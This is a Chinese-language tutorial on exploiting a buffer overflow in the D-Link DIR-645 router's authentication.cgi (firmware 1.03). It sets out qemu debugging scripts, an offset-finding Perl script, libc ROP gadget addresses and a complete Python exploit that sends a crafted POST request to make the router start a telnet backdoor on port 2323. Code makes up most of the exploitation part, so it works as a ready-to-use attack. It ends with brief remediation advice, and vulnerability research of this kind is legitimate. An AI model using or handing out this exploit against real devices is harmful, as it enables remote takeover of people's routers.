D-Link DIR-645路由器溢出分析
字数 881 2025-08-22 12:23:00
D-Link DIR-645路由器溢出分析与利用教学文档
1. 漏洞概述
本教学文档详细分析D-Link DIR-645路由器固件版本1.03中的缓冲区溢出漏洞。该漏洞存在于authentication.cgi程序中,当处理POST请求时,由于对输入数据长度缺乏有效验证,导致攻击者可以通过构造恶意请求实现远程代码执行。
2. 环境准备
2.1 所需工具
- IDA Pro:用于逆向分析
- qemu-mipsel:用于MIPS架构仿真
- pattern.pl:用于生成和定位溢出偏移
- Python:用于编写漏洞利用脚本
2.2 固件获取
固件下载地址:
ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
3. 漏洞分析
3.1 漏洞定位
漏洞存在于authentication.cgi程序中,具体在read()函数调用处:
read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))
其中:
var_430是栈上的缓冲区CONTENT_LENGTH环境变量控制读取长度- 缺乏对输入长度的有效验证
3.2 触发条件
POST请求必须满足特定格式才能触发漏洞:
id=XX&password=XX
3.3 调试方法
使用qemu进行调试的脚本run_cgi.sh:
#!/bin/bash
INPUT="$1" # 参数1,如uid=A21G&password=1160个A
TEST="$2" # 参数2,如uid=A21G
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="/authentication.cgi" \
-E REMOTE_ADDR="127.0.0.1" \
-g $PORT /htdocs/web/authentication.cgi
rm -f ./qemu
4. 漏洞利用
4.1 偏移量确定
使用pattern.pl脚本生成测试字符串并确定偏移量:
#!/usr/bin/perl -w
use strict;
# 生成指定长度的模式字符串
my $ustart = 65; my $uend = 90; # A-Z
my $lstart = 97; my $lend = 122; # a-z
my $nstart = 0; my $nend = 9; # 0-9
my $length = $ARGV[0];
my $string = "";
# 生成模式字符串的逻辑
sub generate {
for(my $upper = $ustart; $upper <= $uend; $upper++) {
$string .= chr($upper);
return if length($string) == $length;
for(my $lower = $lstart; $lower <= $lend; $lower++) {
$string .= chr($lower);
return if length($string) == $length;
for(my $num = $nstart; $num <= $nend; $num++) {
$string .= $num;
return if length($string) == $length;
$string .= chr($upper);
return if length($string) == $length;
if($num != $nend) {
$string .= chr($lower);
return if length($string) == $length;
}
}
}
}
}
generate();
print $string;
使用方法:
./pattern.pl 1160 > test_auth
4.2 ROP链构造
关键ROP地址(基于libc基址0x2aaf8000):
target = {
"1.03" : [
0x531ff, # 伪system函数地址(实际地址-1)
0x158c8, # rop chain 1(将伪地址+1)
0x159cc, # rop chain 2(执行system函数)
],
}
4.3 完整利用代码
import sys
import urllib, urllib2, httplib
class MIPSPayload:
BADBYTES = [0x00]
LITTLE = "little"
BIG = "big"
FILLER = "A"
BYTES = 4
def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
self.libase = libase
self.shellcode = ""
self.endianess = endianess
self.badbytes = badbytes
def rand_text(self, size):
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
return ''.join(random.choice(chars) for _ in range(size))
def Add(self, data):
self.shellcode += data
def Address(self, offset, base=None):
if base is None: base = self.libase
return self.ToString(base + offset)
def AddAddress(self, offset, base=None):
self.Add(self.Address(offset, base))
def AddBuffer(self, size, byte=FILLER):
self.Add(byte * size)
def AddNops(self, size):
self.Add(self.rand_text(size))
def ToString(self, value, size=BYTES):
data = ""
for i in range(0, size):
data += chr((value >> (8*i)) & 0xFF)
if self.endianess != self.LITTLE:
data = data[::-1]
return data
def Build(self):
for i, c in enumerate(self.shellcode):
for byte in self.badbytes:
if ord(c) == byte:
raise Exception("Bad byte at offset %d: 0x%.2X" % (i, byte))
return self.shellcode
class HTTP:
def __init__(self, host, proto='http', verbose=False):
self.host = host
self.proto = proto
self.verbose = verbose
def Encode(self, data):
if type(data) == dict:
return data['password'] + '&' + data['uid']
return urllib.quote_plus(data)
def Send(self, uri, headers={}, data=None, encode_params=True):
if data is not None:
data = self.Encode(data)
httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
httpcli.request('POST', uri, data, headers=headers)
return httpcli.getresponse()
if __name__ == '__main__':
libc = 0x2aaf8000 # libc基址
target = {
"1.03" : [
0x531ff, # 伪system地址
0x158c8, # ROP链1
0x159cc, # ROP链2
],
}
v = '1.03'
cmd = 'telnetd -p 2323' # 要执行的命令
ip = '192.168.0.1' # 目标IP
# 构造payload
payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddNops(1011) # 填充1011字节
payload.AddAddress(target[v][0], base=libc) # $s0
payload.AddNops(4) # $s1
payload.AddNops(4) # $s2
payload.AddNops(4) # $s3
payload.AddNops(4) # $s4
payload.AddAddress(target[v][2], base=libc) # $s5
payload.AddNops(4) # $s6
payload.AddNops(4) # $s7
payload.AddNops(4) # $fp
payload.AddAddress(target[v][1], base=libc) # $ra
payload.AddNops(16) # 填充
payload.Add(cmd) # 要执行的命令
# 构造HTTP请求
pdata = {
'uid': '3Ad4',
'password': 'AbC' + payload.Build(),
}
header = {
'Cookie': 'uid=3Ad4',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/4.0'
}
# 发送攻击请求
try:
HTTP(ip).Send('authentication.cgi', data=pdata, headers=header)
print '[+] Exploit succeeded'
except Exception as e:
print '[-] Exploit failed:', str(e)
5. 仿真环境搭建
5.1 启动qemu系统
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
5.2 准备固件环境
- 将固件文件系统复制到仿真环境中
- 挂载必要的目录:
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh
- 启动服务:
cd /etc/init.d/
./rcS
6. 漏洞修复建议
- 对
CONTENT_LENGTH进行严格验证 - 对输入数据进行长度检查
- 更新到最新固件版本
- 使用地址空间布局随机化(ASLR)等防护措施
7. 总结
本漏洞利用的关键点:
- 通过构造超长password参数触发缓冲区溢出
- 精心构造ROP链绕过保护机制
- 利用libc中的gadget实现代码执行
- 通过telnetd开启后门端口实现持久化访问
通过本教学文档,读者可以全面了解D-Link DIR-645路由器的漏洞分析方法和利用技术,并掌握MIPS架构下的漏洞利用技巧。